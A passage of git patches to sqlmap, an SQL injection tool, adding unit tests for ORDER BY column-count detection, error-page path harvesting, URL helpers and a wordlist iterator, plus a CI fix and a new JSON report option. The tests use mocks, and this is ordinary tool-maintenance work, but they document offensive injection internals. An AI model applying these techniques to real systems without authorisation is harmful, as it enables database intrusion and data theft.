TestParseFilePaths(unittest.TestCase): + def setUp(self): + kb.absFilePaths = set() + + def test_unix_paths_from_php_error(self): + parseFilePaths("Warning: include(/var/www/html/config.php) failed " + "to open stream in /var/www/html/index.php on line 5") + self.assertIn("/var/www/html/config.php", kb.absFilePaths) + self.assertIn("/var/www/html/index.php", kb.absFilePaths) + + def test_windows_path(self): + # exact full path (not a substring) - a truncated harvest is a real defect for file-read targeting + parseFilePaths("Fatal error in C:\\inetpub\\wwwroot\\app\\index.asp on line 1") + self.assertIn("C:\\inetpub\\wwwroot\\app\\index.asp", kb.absFilePaths, + msg="windows path not harvested in full: %s" % kb.absFilePaths) + + +class TestGetSafeExString(unittest.TestCase): + def test_format(self): + self.assertEqual(getSafeExString(ValueError("boom")), u"ValueError: boom") + + def test_runtime_error(self): + # RuntimeError keeps its name across py2/py3 (unlike IOError, which aliases to OSError on py3) + self.assertEqual(getSafeExString(RuntimeError("oops")), u"RuntimeError: oops") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py new file mode 100644 index 00000000000..97ac88081d4 --- /dev/null +++ b/tests/test_union_engine.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The UNION-based column-count detection engine (lib/techniques/union/test.py). + +_findUnionCharCount discovers how many columns a UNION injection needs. Its +fastest path is the ORDER BY technique: a valid target accepts ORDER BY 1..N and +errors on ORDER BY N+1, so it binary-searches for N. We drive the REAL function +against a mock oracle (Request.queryPage replaced) that errors once the requested +column index exceeds a known true count - exercising the actual detection + +binary search with no live target. + +This requires the full injection context (conf.parameters / conf.paramDict / +kb.injection) because column detection builds real payloads via agent.payload. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.union.test as ut + +MARKER = "MARKER42" +VALID_PAGE = "results %s" % MARKER + +_CONF = {"string": MARKER, "notString": None, "regexp": None, "code": None, + "uCols": None, "uColsStart": 1, "uColsStop": 50, "base64Parameter": ()} +_KB = {"heavilyDynamic": False, "errorIsNone": False, "futileUnion": False, + "uChar": "NULL", "forceWhere": None} + + +class TestOrderByColumnCount(unittest.TestCase): + def setUp(self): + self._sc = {k: conf.get(k) for k in _CONF} + self._sk = {k: kb.get(k) for k in _KB} + self._sp = (conf.get("parameters"), conf.get("paramDict")) + self._sqp = Connect.queryPage + self._stmpl = kb.get("pageTemplate") + self._sinj = (kb.injection.place, kb.injection.parameter) + + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + kb.pageTemplate = VALID_PAGE + kb.injection.place = None + kb.injection.parameter = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.parameters, conf.paramDict = self._sp + kb.pageTemplate = self._stmpl + kb.injection.place, kb.injection.parameter = self._sinj + Connect.queryPage = self._sqp + ut.Request.queryPage = self._sqp + + def _detect(self, true_count): + def oracle(payload=None, place=None, content=False, raise404=True, **kwargs): + m = re.search(r"ORDER BY (\d+)", payload or "") + cols = int(m.group(1)) if m else 1 + if cols <= true_count: + page = VALID_PAGE + else: + page = "Unknown column '%d' in 'order clause'" % cols + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + ut.Request.queryPage = staticmethod(oracle) + kb.orderByColumns = None + return ut._findUnionCharCount("-- -", PLACE.GET, "id", "1", "", "", PAYLOAD.WHERE.ORIGINAL) + + def test_detect_single_column(self): + self.assertEqual(self._detect(1), 1) + + def test_detect_small(self): + self.assertEqual(self._detect(3), 3) + + def test_detect_medium(self): + self.assertEqual(self._detect(7), 7) + + def test_detect_larger(self): + self.assertEqual(self._detect(12), 12) + + def test_detect_beyond_first_step(self): + # > ORDER_BY_STEP (10): forces the expand-then-bisect branch + self.assertEqual(self._detect(25), 25) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_urls.py b/tests/test_urls.py new file mode 100644 index 00000000000..3d67d17a55a --- /dev/null +++ b/tests/test_urls.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +URL encode/decode round-trips, parameter parsing, same-host checks. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import urldecode, urlencode, paramToDict, checkSameHost +from lib.core.enums import PLACE + +RND = random.Random(11) + + +class TestUrlCoding(unittest.TestCase): + def test_known(self): + self.assertEqual(urldecode("a%20b"), u"a b") + self.assertEqual(urlencode("a b&c"), "a%20b&c") + + def test_encode_is_not_identity(self): + # anchor so the round-trip property below can't pass with no-op functions: + # special chars MUST be percent-encoded + encoded = urlencode("a b&c=d", safe="") + self.assertNotIn(" ", encoded) + self.assertNotIn("&", encoded) + self.assertEqual(encoded, "a%20b%26c%3Dd") + + def test_roundtrip_property(self): + import string + # NOTE: urldecode() by default preserves URL-structural chars (?, &, =, +, ;) so a full + # round-trip needs convall=True; '+' still excluded (form-encoding maps it to space). + alphabet = string.ascii_letters + string.digits + " &=?/#@:,'\"" + for _ in range(2000): + s = "".join(RND.choice(alphabet) for _ in range(RND.randint(0, 25))) + roundtripped = urldecode(urlencode(s, safe=""), convall=True) + self.assertEqual(roundtripped, s, msg="roundtrip %r" % s) + + +class TestParamToDict(unittest.TestCase): + def test_get(self): + d = paramToDict(PLACE.GET, "a=1&b=2&c=3") + self.assertEqual(d.get("a"), "1") + self.assertEqual(d.get("b"), "2") + self.assertEqual(d.get("c"), "3") + + def test_get_single(self): + d = paramToDict(PLACE.GET, "id=42") + self.assertEqual(d.get("id"), "42") + + +class TestSameHost(unittest.TestCase): + def test_same(self): + self.assertTrue(checkSameHost("http://h/a", "http://h/b")) + self.assertTrue(checkSameHost("http://h:80/a", "http://h:80/b")) + + def test_www_prefix_is_same(self): + # documented behavior: a leading www. is normalized away + self.assertTrue(checkSameHost("http://example.com/a", "http://www.example.com/b")) + + def test_different_host_is_false(self): + # discriminating: an always-True implementation must fail here + self.assertFalse(checkSameHost("http://h/a", "http://other/b")) + self.assertFalse(checkSameHost("http://example.com/a", "http://evil.com/b")) + + def test_one_none_is_false(self): + self.assertFalse(checkSameHost("http://h/a", None)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_utils.py b/tests/test_utils.py new file mode 100644 index 00000000000..b710169bcdc --- /dev/null +++ b/tests/test_utils.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core utility helpers: constant-time compare, numeric checks, safe formatting, +list/value normalization, randomness generators. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (safeCompareStrings, isDigit, isNumber, safeStringFormat, + filterNone, flattenValue, isListLike, unArrayizeValue, + arrayizeValue, randomStr, randomInt) + + +class TestSafeCompareStrings(unittest.TestCase): + def test_known(self): + self.assertTrue(safeCompareStrings("abc", "abc")) + self.assertFalse(safeCompareStrings("abc", "abd")) + self.assertFalse(safeCompareStrings("test", None)) + self.assertTrue(safeCompareStrings(None, None)) + self.assertFalse(safeCompareStrings("a", "ab")) # different length + + def test_property(self): + for s in ["", "a", "secret", "p@ss w0rd", "x" * 100]: + self.assertTrue(safeCompareStrings(s, s)) + self.assertFalse(safeCompareStrings(s, s + "x")) + + +class TestNumericChecks(unittest.TestCase): + def test_isDigit(self): + for v, exp in [("123", True), ("0", True), ("12a", False), ("", False), ("-1", False)]: + self.assertEqual(bool(isDigit(v)), exp, msg="isDigit(%r)" % v) + + def test_isNumber(self): + for v, exp in [("123", True), ("1.5", True), ("1e3", True), ("abc", False), ("", False)]: + self.assertEqual(bool(isNumber(v)), exp, msg="isNumber(%r)" % v) + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic(self): + self.assertEqual(safeStringFormat("%s-%d", ("a", 5)), "a-5") + self.assertEqual(safeStringFormat("%s/%s", ("x", "y")), "x/y") + + def test_survives_percent_in_value(self): + # the WHOLE point of safeStringFormat over plain `%`: a '%' inside an argument (common in + # payloads/URL-encoded values) must not blow up or be misread as a format spec. + # Plain "x=%s" % ("100%done",) would raise on re-evaluation; safeStringFormat must not. + self.assertEqual(safeStringFormat("x=%s", ("100%done",)), "x=100%done") + + +class TestListValueHelpers(unittest.TestCase): + def test_filterNone(self): + self.assertEqual(filterNone([1, None, 2, 0, "", None]), [1, 2, 0]) + self.assertEqual(filterNone([]), []) + self.assertEqual(filterNone([None, None]), []) + + def test_flattenValue(self): + self.assertEqual(list(flattenValue([[1, 2], [3, [4]]])), [1, 2, 3, 4]) + self.assertEqual(list(flattenValue([])), []) + self.assertEqual(list(flattenValue([1])), [1]) + + def test_isListLike(self): + from lib.core.datatype import OrderedSet + from lib.core.bigarray import BigArray + # isListLike is sqlmap-specific: it must recognize sqlmap's own list-like containers + # (OrderedSet, BigArray), not just builtin list/tuple - that's why it's not isinstance(list) + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(OrderedSet([1, 2]))) + self.assertTrue(isListLike(BigArray([1]))) + # and must reject str (the classic trap) and dict + self.assertFalse(isListLike("string")) + self.assertFalse(isListLike({"a": 1})) + + def test_arrayize_roundtrip(self): + self.assertEqual(unArrayizeValue([5]), 5) + self.assertIsNone(unArrayizeValue([])) + self.assertEqual(unArrayizeValue(7), 7) + self.assertEqual(arrayizeValue(5), [5]) + self.assertEqual(arrayizeValue([5]), [5]) + + +class TestRandomGenerators(unittest.TestCase): + def test_randomStr_length_and_alphabet(self): + for n in (1, 4, 16, 50): + self.assertEqual(len(randomStr(n)), n) + for _ in range(200): + self.assertTrue(all("a" <= c <= "z" for c in randomStr(20, lowercase=True))) + alpha = list("ABC") + for _ in range(200): + self.assertTrue(all(c in alpha for c in randomStr(20, alphabet=alpha))) + + def test_randomStr_is_actually_random(self): + # guard against a hardcoded/constant return: 20-char strings must (essentially) never collide + samples = set(randomStr(20) for _ in range(100)) + self.assertEqual(len(samples), 100, msg="randomStr produced collisions - not random?") + + def test_randomInt_digits(self): + for n in (1, 3, 6): + lo, hi = 10 ** (n - 1), 10 ** n + for _ in range(200): + v = randomInt(n) + self.assertEqual(len(str(v)), n) # exactly n digits + self.assertTrue(lo <= v < hi, msg="randomInt(%d)=%d out of [%d,%d)" % (n, v, lo, hi)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_wordlist.py b/tests/test_wordlist.py new file mode 100644 index 00000000000..9b6d842a45c --- /dev/null +++ b/tests/test_wordlist.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Wordlist iterator (lib/core/wordlist.py). + +Backs dictionary attacks (--common-tables, password cracking, brute force): a +lazy iterator that streams words across one or more files (and zip archives) +without loading them into RAM. Tested for ordering, multi-file chaining, +rewind, and end-of-stream behavior over real temp files. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.wordlist import Wordlist + + +def _mkfile(lines): + fd, path = tempfile.mkstemp() + os.write(fd, ("\n".join(lines) + "\n").encode("utf-8")) + os.close(fd) + return path + + +def _w(s): + # Wordlist yields native str on py2 but bytes on py3 (words are fed straight into HTTP payloads) + return s.encode("utf-8") if sys.version_info[0] >= 3 else s + + +def _drain(w): + out = [] + try: + while True: + out.append(next(w)) + except StopIteration: + pass + return out + + +class TestWordlist(unittest.TestCase): + def setUp(self): + self.paths = [] + self.wordlists = [] + + def tearDown(self): + for w in self.wordlists: # close open file handles (else ResourceWarning on py3) + try: + w.closeFP() + except Exception: + pass + for p in self.paths: + if os.path.exists(p): + os.remove(p) + + def _mk(self, lines): + p = _mkfile(lines) + self.paths.append(p) + return p + + def _wl(self, files): + w = Wordlist(files) + self.wordlists.append(w) + return w + + def test_single_file_order(self): + w = self._wl([self._mk(["alpha", "beta", "gamma"])]) + self.assertEqual(_drain(w), [_w("alpha"), _w("beta"), _w("gamma")]) + + def test_multiple_files_chained(self): + w = self._wl([self._mk(["a", "b"]), self._mk(["c", "d"])]) + self.assertEqual(_drain(w), [_w("a"), _w("b"), _w("c"), _w("d")]) + + def test_rewind_restarts(self): + w = self._wl([self._mk(["one", "two"])]) + self.assertEqual(next(w), _w("one")) + self.assertEqual(next(w), _w("two")) + w.rewind() + self.assertEqual(next(w), _w("one")) + + def test_end_raises_stopiteration(self): + w = self._wl([self._mk(["only"])]) + self.assertEqual(next(w), _w("only")) + self.assertRaises(StopIteration, lambda: next(w)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 948d01d57a9ce37006588c39c2db466406317aa1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 09:59:01 +0200 Subject: [PATCH 562/853] Fixing CI/CD failing --- .github/workflows/tests.yml | 5 ++++- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 358f7ba7ed1..58aeb75b425 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,10 @@ jobs: run: python -c "import sqlmap; import sqlmapapi" - name: Unit tests - run: python -m unittest discover -s tests -p "test_*.py" + # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__ + # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see + # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. + run: python -B -m unittest discover -s tests -p "test_*.py" - name: Smoke test run: python sqlmap.py --smoke diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 25094e0d691..03b0a1934ae 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a910686c6eba592ba3f6fc5cbb8bed1bd6c330b0165c7c5dc927a71c5ae8be88 lib/core/settings.py +8eb10b15440aaa6ddc592e1b29199e9fa575df6b46335fcf7b7374c5f8f68480 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c7c64b909d..5fa1a8f153c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.106" +VERSION = "1.10.6.107" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 17e94c34091b4985fdfe4ad2a08cc963e4a1f7df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 15:35:33 +0200 Subject: [PATCH 563/853] Adding --report-json option --- data/txt/sha256sums.txt | 23 +-- lib/controller/controller.py | 6 + lib/core/dump.py | 32 ++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 13 +- lib/parse/cmdline.py | 3 + lib/techniques/blind/inference.py | 5 +- lib/techniques/error/use.py | 4 +- lib/techniques/union/use.py | 4 +- lib/utils/api.py | 242 +++++++++++++++++++++++++----- sqlmap.py | 19 +++ sqlmapapi.yaml | 80 ++++++++-- tests/test_report.py | 218 +++++++++++++++++++++++++++ 13 files changed, 581 insertions(+), 69 deletions(-) create mode 100644 tests/test_report.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 03b0a1934ae..b95a83ed236 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -c1881685bef8504ded32c51abed00ab51849008c84b74e8a66117e5f5041b3df lib/controller/controller.py +85146a0565467952a35cdd234031d8de01ef8f354c8676f6484b0bfb911c5347 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -175,12 +175,12 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -8aee07fba24082ee6355a29d01842bc3657194148a7f9062079b5f0a85ec53e3 lib/core/dump.py +e4b23512625bc377c0e0924d8113c595452320d8c66014828da5d8258a77f55a lib/core/dump.py 23e33f0b457e2a7114c9171ba9b42e1751b71ee3f384bba7fad39e4490adb803 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py +885042ed021e60f1739e2a849e3405cc3a4c2a67a5a169a30399d1c53446460f lib/core/optiondict.py 3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8eb10b15440aaa6ddc592e1b29199e9fa575df6b46335fcf7b7374c5f8f68480 lib/core/settings.py +1e2a5277293de9d3d1e65b401013baf1c4033162e580f6891ca6a2686e666894 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -199,7 +199,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -4c56ad26ffb893d37813167de172b6c95c120588bfdc899f102977a2997b9bb9 lib/parse/cmdline.py +7bc8612fbd7ba390ab19f908c370c126ae66afa200bc7975800599ecbe029f0c lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -230,18 +230,18 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -7b62bbb4d94f1271380a44142b407dc9eeed1d8b0319cdad57493dc1a12caff8 lib/techniques/blind/inference.py +09c3759b59bc111712f75b0b1762d195c0da0e0741dd76379546c429e8ed4457 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py 2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py -f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques/error/use.py +ee63b978154b0cb9a385fe51926ef6dc6f425b07f62b0d17208e82b4ac020f5c lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -a8a795f29ec6fd66482926f04b054ed492a033982c3b7837c5d2ea32368acec0 lib/techniques/union/use.py -8720a744d46471fe46f5a67e16b2d4147339c6685fbf0fdf50f1a40e9a75c23a lib/utils/api.py +5b49f5bca4e35362fa7d83896e0769fdb01ad152f30059aafd8ce0f093400a3f lib/techniques/union/use.py +aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py @@ -490,9 +490,9 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py 5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py -e0607378f46f7664349552c628f25c4689569c788fd2364eef3075dd2cce127b sqlmapapi.yaml +f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -65159b82795604069a2d14ccbd1f66e888a26b05db0401a1ddadb40c665c93dc sqlmap.py +d5128ba488b85080a18df85cc08b58f0baeac59494eb5ef43b9e34d66538f091 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py @@ -588,6 +588,7 @@ cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pag 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py +48bbe8403fbc52d16998b1af4fe2180d3637add0b14cd16dd71690113e96664f tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 69d515f125b..fa14478767f 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -181,6 +181,12 @@ def _showInjections(): conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: + # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without + # printing them (the human-readable injection points are rendered just below) + if conf.reportJson: + conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET) + conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES) + data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") conf.dumper.string(header, data) diff --git a/lib/core/dump.py b/lib/core/dump.py index d55291e5129..9d0eb385717 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -14,6 +14,7 @@ from lib.core.common import Backend from lib.core.common import checkFile +from lib.core.common import clearColors from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import filterNone @@ -30,6 +31,7 @@ from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getConsoleLength +from lib.core.convert import stdoutEncode from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlEscape @@ -96,6 +98,19 @@ def _write(self, data, newline=True, console=True, content_type=None): kb.dataOutputFlag = True + def _reportData(self, data, content_type): + """ + --report-json: capture a structured result exactly as the REST API would store it (the raw + value + COMPLETE status), independent of console/file rendering. No-op unless a report + collector is active - which is only ever the case for a CLI --report-json run, never under + --api - so this never double-captures alongside StdDbOut. A None content_type is resolved + via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly. + """ + + if conf.get("reportCollector") is not None: + from lib.utils.api import _storeData, REPORT_TASKID + _storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type) + def flush(self): if self._outputFP: try: @@ -116,9 +131,12 @@ def setOutputFile(self): raise SqlmapGenericException(errMsg) def singleString(self, data, content_type=None): + self._reportData(data, content_type) self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): + self._reportData(data, content_type) + if conf.api: self._write(data, content_type=content_type) @@ -153,6 +171,8 @@ def lister(self, header, elements, content_type=None, sort=True): except: pass + self._reportData(elements, content_type) + if conf.api: self._write(elements, content_type=content_type) @@ -204,6 +224,8 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): users = [_ for _ in userSettings.keys() if _ is not None] users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + self._reportData(userSettings, content_type) + if conf.api: self._write(userSettings, content_type=content_type) @@ -237,6 +259,8 @@ def dbs(self, dbs): def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.TABLES) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) @@ -279,6 +303,8 @@ def dbTables(self, dbTables): def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: + self._reportData(tableColumns, content_type) + if conf.api: self._write(tableColumns, content_type=content_type) @@ -352,6 +378,8 @@ def dbTableColumns(self, tableColumns, content_type=None): def dbTablesCount(self, dbTables): if isinstance(dbTables, 